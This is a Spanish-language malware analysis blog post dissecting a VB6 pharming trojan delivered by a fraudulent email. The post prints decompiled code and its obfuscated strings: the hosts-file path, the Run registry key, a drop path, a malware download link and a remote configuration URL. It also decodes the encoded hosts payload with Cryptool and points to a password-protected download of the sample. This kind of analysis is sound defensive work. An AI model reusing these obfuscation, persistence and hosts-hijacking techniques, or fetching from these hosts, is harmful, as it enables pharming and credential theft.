Qhost: Analizando codificación de datos con Cryptool.
Ayer me enviaron para analizar el siguiente correo fraudulento, que descarga
un .zip que contiene un archivo .SCR
Link del malware hxxp://superteacheronline.com/extras/X/Mensaje_Multimedia(MMS).zip
Analizado en VT este ejecutable tiene un indice de 0/42
Analizando este .SCR encuentro que se trata de una utilidad para realizar instalaciones, por lo que este ejecutable en su interior contiene un .ZIP con otro ejecutable llamado FlashPlayer.exe
Analizado el .exe con VT vemos que tiene un indice de 1/40 detecciones.
Este ejecutable esta programado en Vbasic 6, por lo que echaremos mano al Vbdecompiler.
En el código encontramos cosas como:
loc_405C8D: LitI4 &H5C
loc_405C92: ImpAdCallI2 Chr$(arg_1)
loc_405C97: FStStrNoPop var_90
loc_405C9A: ConcatStr
loc_405C9B: FStStrNoPop var_94
loc_405C9E: LitI4 &H73
loc_405CA3: ImpAdCallI2 Chr$(arg_1)
loc_405CA8: FStStrNoPop var_98
loc_405CAB: ConcatStr
loc_405CAC: FStStrNoPop var_9C
loc_405CAF: LitI4 &H79
loc_405CB4: ImpAdCallI2 Chr$(arg_1)
loc_405CB9: FStStrNoPop var_A0
loc_405CBC: ConcatStr
loc_405CBD: FStStrNoPop var_A4
loc_405CC0: LitI4 &H73
loc_405CC5: ImpAdCallI2 Chr$(arg_1)
loc_405CCA: FStStrNoPop var_A8
loc_405CCD: ConcatStr
loc_405CCE: FStStrNoPop var_AC
loc_405CD1: LitI4 &H74
loc_405CD6: ImpAdCallI2 Chr$(arg_1)
loc_405CDB: FStStrNoPop var_B0
loc_405CDE: ConcatStr
loc_405CDF: FStStrNoPop var_B4
loc_405CE2: LitI4 &H65
loc_405CE7: ImpAdCallI2 Chr$(arg_1)
loc_405CEC: FStStrNoPop var_D8
loc_405CEF: ConcatStr
loc_405CF0: FStStrNoPop var_DC
loc_405CF3: LitI4 &H6D
loc_405CF8: ImpAdCallI2 Chr$(arg_1)
loc_405CFD: FStStrNoPop var_E0
loc_405D00: ConcatStr
loc_405D01: FStStrNoPop var_E4
loc_405D04: LitI4 &H33
loc_405D09: ImpAdCallI2 Chr$(arg_1)
loc_405D0E: FStStrNoPop var_E8
loc_405D11: ConcatStr
loc_405D12: FStStrNoPop var_EC
loc_405D15: LitI4 &H32
loc_405D1A: ImpAdCallI2 Chr$(arg_1)
loc_405D1F: FStStrNoPop var_F0
loc_405D22: ConcatStr
loc_405D23: FStStrNoPop var_F4
loc_405D26: LitI4 &H5C
loc_405D2B: ImpAdCallI2 Chr$(arg_1)
loc_405D30: FStStrNoPop var_F8
loc_405D33: ConcatStr
loc_405D34: FStStrNoPop var_FC
loc_405D37: LitI4 &H64
loc_405D3C: ImpAdCallI2 Chr$(arg_1)
loc_405D41: FStStrNoPop var_100
loc_405D44: ConcatStr
loc_405D45: FStStrNoPop var_104
loc_405D48: LitI4 &H72
loc_405D4D: ImpAdCallI2 Chr$(arg_1)
loc_405D52: FStStrNoPop var_108
loc_405D55: ConcatStr
loc_405D56: FStStrNoPop var_10C
loc_405D59: LitI4 &H69
loc_405D5E: ImpAdCallI2 Chr$(arg_1)
loc_405D63: FStStrNoPop var_110
loc_405D66: ConcatStr
loc_405D67: FStStrNoPop var_114
loc_405D6A: LitI4 &H76
loc_405D6F: ImpAdCallI2 Chr$(arg_1)
loc_405D74: FStStrNoPop var_118
loc_405D77: ConcatStr
loc_405D78: FStStrNoPop var_11C
loc_405D7B: LitI4 &H65
loc_405D80: ImpAdCallI2 Chr$(arg_1)
loc_405D85: FStStrNoPop var_120
loc_405D88: ConcatStr
loc_405D89: FStStrNoPop var_124
loc_405D8C: LitI4 &H72
loc_405D91: ImpAdCallI2 Chr$(arg_1)
loc_405D96: FStStrNoPop var_128
loc_405D99: ConcatStr
loc_405D9A: FStStrNoPop var_12C
loc_405D9D: LitI4 &H73
loc_405DA2: ImpAdCallI2 Chr$(arg_1)
loc_405DA7: FStStrNoPop var_130
loc_405DAA: ConcatStr
loc_405DAB: FStStrNoPop var_134
loc_405DAE: LitI4 &H5C
loc_405DB3: ImpAdCallI2 Chr$(arg_1)
loc_405DB8: FStStrNoPop var_138
loc_405DBB: ConcatStr
loc_405DBC: FStStrNoPop var_13C
loc_405DBF: LitI4 &H65
loc_405DC4: ImpAdCallI2 Chr$(arg_1)
loc_405DC9: FStStrNoPop var_140
loc_405DCC: ConcatStr
loc_405DCD: FStStrNoPop var_144
loc_405DD0: LitI4 &H74
loc_405DD5: ImpAdCallI2 Chr$(arg_1)
loc_405DDA: FStStrNoPop var_148
loc_405DDD: ConcatStr
loc_405DDE: FStStrNoPop var_14C
loc_405DE1: LitI4 &H63
loc_405DE6: ImpAdCallI2 Chr$(arg_1)
loc_405DEB: FStStrNoPop var_150
loc_405DEE: ConcatStr
loc_405DEF: FStStrNoPop var_154
loc_405DF2: LitI4 &H5C
loc_405DF7: ImpAdCallI2 Chr$(arg_1)
loc_405DFC: FStStrNoPop var_158
loc_405DFF: ConcatStr
loc_405E00: FStStrNoPop var_15C
loc_405E03: LitI4 &H68
loc_405E08: ImpAdCallI2 Chr$(arg_1)
loc_405E0D: FStStrNoPop var_160
loc_405E10: ConcatStr
loc_405E11: FStStrNoPop var_164
loc_405E14: LitI4 &H6F
loc_405E19: ImpAdCallI2 Chr$(arg_1)
loc_405E1E: FStStrNoPop var_168
loc_405E21: ConcatStr
loc_405E22: FStStrNoPop var_16C
loc_405E25: LitI4 &H73
loc_405E2A: ImpAdCallI2 Chr$(arg_1)
loc_405E2F: FStStrNoPop var_170
loc_405E32: ConcatStr
loc_405E33: FStStrNoPop var_174
loc_405E36: LitI4 &H74
loc_405E3B: ImpAdCallI2 Chr$(arg_1)
loc_405E40: FStStrNoPop var_178
loc_405E43: ConcatStr
loc_405E44: FStStrNoPop var_17C
loc_405E47: LitI4 &H73
Si unimos todos los valores Hex nos queda
5c73797374656d33325c647269766572735c6574635c686f737473
Pasado a Texto nos queda la cadena: \system32\drivers\etc\hosts
Otra cadena disimulada entra las variables:
loc_406059: LitStr "H"
loc_40606C: LitStr "K"
loc_40607B: LitStr "E"
loc_4060AA: LitStr "Y"
loc_4060B9: LitStr "_"
loc_4060D0: LitStr "L"
loc_4060E7: LitStr "O"
loc_40611E: LitStr "C"
loc_406145: LitStr "A"
loc_406164: LitStr "L"
loc_40617B: LitStr "_"
loc_406192: LitStr "M"
loc_4061A9: LitStr "A"
loc_4061C8: LitStr "C"
loc_4061EF: LitStr "H"
loc_406206: LitStr "I"
loc_40622D: LitStr "N"
loc_40625C: LitStr "E"
loc_40628B: LitStr "\"
loc_4062EA: LitStr "S"
loc_406311: LitStr "O"
loc_406348: LitStr "F"
loc_40637E: LitStr "W"
loc_40639D: LitStr "A"
loc_4063BC: LitStr "R"
loc_4063F3: LitStr "E"
loc_406422: LitStr "\"
loc_406481: LitStr "M"
loc_406498: LitStr "I"
loc_4064BF: LitStr "C"
loc_4064E6: LitStr "R"
loc_40651D: LitStr "O"
loc_406554: LitStr "S"
loc_40657B: LitStr "O"
loc_4065B2: LitStr "F"
loc_4065C9: LitStr "T"
loc_4065E8: LitStr "\"
loc_406647: LitStr "W"
loc_406666: LitStr "I"
loc_40668D: LitStr "N"
loc_4066BC: LitStr "D"
loc_4066CB: LitStr "O"
loc_406702: LitStr "W"
loc_406721: LitStr "S"
loc_406748: LitStr "\"
loc_4067A7: LitStr "C"
loc_4067CE: LitStr "U"
loc_4067E5: LitStr "R"
loc_40681C: LitStr "R"
loc_406853: LitStr "E"
loc_406882: LitStr "N"
loc_4068B1: LitStr "T"
loc_4068D0: LitStr "V"
loc_4068DF: LitStr "E"
loc_40690E: LitStr "R"
loc_406945: LitStr "S"
loc_40696C: LitStr "I"
loc_406993: LitStr "O"
loc_4069CA: LitStr "N"
loc_4069F9: LitStr "\"
loc_406A58: LitStr "R"
loc_406A8F: LitStr "U"
loc_406AA6: LitStr "N"
loc_406AD5: LitStr "\"
loc_406B30: ConcatStr
loc_406B31: FStStr var_88
LitI4 &H57
LitI4 &H73
LitI4 &H63
LitI4 &H72
LitI4 &H69
LitI4 &H70
LitI4 &H74
LitI4 &H2E
LitI4 &H73
LitI4 &H68
LitI4 &H65
LitI4 &H6C
LitI4 &H6C
LitI4 &H41
LitI4 &H70
LitI4 &H70
LitI4 &H2E
LitI4 &H45
LitI4 &H58
LitI4 &H45
LitI4 &H4E
LitI4 &H61
LitI4 &H6D
LitI4 &H65
577363726970742E7368656C6C4170702E4558454E616D65
Wscript.shellApp.EXEName
Utilización de la función StrReverse
loc_405623: FLdRfVar var_98
loc_405626: LitStr "exe.dnuos\metsys\"
loc_405629: ImpAdCallI2 StrReverse
Queda como resultado del StrReverse : /system/sound.exe
Private Sub C0NF1GUR4C10N_Click() '40581C
loc_405560: LitStr "/bmuht/ni.ecilagel//:ptth"
loc_405563: ImpAdCallI2 StrReverse
http://legalice.in/thumb
Sitio donde toma la configuración para realizar el pharming modificando el etc/host
Con la siguiente rutina armara la URL donde buscara la configuracion:
Private Sub B0_T0_N1_Click() '4045F8
'Data Table: 402044
loc_4045A0: ImpAdCallFPR4 Proc_3_1_404F74()
loc_4045A5: FLdPr Me
loc_4045A8: MemLdStr global_80
loc_4045AB: LitStr "_bmuht" <---- thumb_
loc_4045AE: ImpAdCallI2 StrReverse
loc_4045B3: FStStrNoPop var_88
loc_4045B6: ConcatStr
loc_4045B7: FStStrNoPop var_8C
loc_4045BA: ImpAdLdI4 MemVar_408030 <--- thumb_ + MemVar_408030
loc_4045BD: ConcatStr
loc_4045BE: FStStrNoPop var_90
loc_4045C1: LitStr "gpj." <--- .jpg
loc_4045C4: ImpAdCallI2 StrReverse
loc_4045C9: FStStrNoPop var_94
loc_4045CC: ConcatStr
loc_4045CD: CVarStr var_A4
loc_4045D0: PopAdLdVar
loc_4045D1: FLdPrThis
loc_4045D2: VCallAd M0_d0_l0
loc_4045D5: FStAdFunc var_B8
loc_4045D8: FLdPr var_B8
loc_4045DB: LateIdCall
loc_4045E3: FFreeStr var_88 = "": var_8C = "": var_90 = "" = ""
loc_4045EE: FFree1Ad var_B8
loc_4045F1: FFree1Var var_A4 = ""
loc_4045F4: ExitProcHresult
End Sub
Queda: http://legalice.in/thumb/thumb_38BA2BE7.jpg
MemVar_408030 es un valor en hexa (38BA2BE7) que va variando y no modifica la URL mostrada.
Si consultamos esta URL, en malzilla el servidor nos mostrara:
HTTP/1.0 200 OK
Content-Type: text/html
Content-Length: 813
Connection: close
Date: Mon, 04 Jun 2012 20:39:08 GMT
Server: LiteSpeed
X-Powered-By: PHP/5.3.10
*'Jvw.ypno{'/j0'8@@:48@@@'Tpjyvzvm{'Jvyw5..*..*'.z{l'lz'|u'lqltwsv'kl'hyjop}v'OVZ[Z'|zhkv'wvy'Tpjyvzvm{'[JW6PW'whyh'^pukv~z5..*..*'Lz{l'hyjop}v'jvu{plul'shz'hzpnuhjpvulz'kl'shz'kpyljjpvulz'PW'h'svz'uvtiylz'kl..*'ovz{5'Jhkh'lu{yhkh'klil'wlythuljly'lu'|uh's.ulh'pukp}pk|hs5'Sh'kpyljjp.u'PW..*'klil'wvulyzl'lu'sh'wyptlyh'jvs|tuh3'zln|pkh'kls'uvtiyl'kl'ovz{'jvyylzwvukplu{l5..*'Sh'kpyljjp.u'PW'.'ls'uvtiyl'kl'ovz{'klilu'zlwhyhyzl'jvu'hs'tluvz'|u'lzwhjpv5..*'..*..*'[htip.u'w|lklu'puzly{hyzl'jvtlu{hypvz'/jvtv'.z{l0'lu's.ulhz'pukp}pk|hslz..*'v'h'jvu{pu|hjp.u'kls'uvtiyl'kl'lx|pwv'pukpj.ukvsvz'jvu'ls'z.tivsv'*..*..*'Wvy'lqltwsvA..*..*''''''8795<;5@;5@>'''''yopuv5hjtl5jvt''''''''''*'zly}pkvy'vypnlu..*''''''':?59<5=:587'''''5hjtl5jvt''''''''''''''*'ovz{'jsplu{l'....89>575758'''''''svjhsovz{
Por lo que deduzco que todo lo que esta dentro de Iniciop y Finp es el archivo .HOST que sera guardado en la PC de la victima.
Aquí donde utilizaremos la herramienta Cryptool
Primero cargamos el texto comprendido entre Inicio y Fin
Luego
Análisis -> Cifrado Simétrico (Clasico) -> Solo Texto Cifrado -> Suma de Bytes
El análisis nos indica que la clave con suma de bytes es 27.............
Y................................................... Listo....................
Parece que el sitio de pharming todavía no fue cargado por el defraudador.
Pueden descargar la amenaza y el de-compilado .bas desde
Pass = infected
Eso es todo por el momento.
@DkAvalanche 2012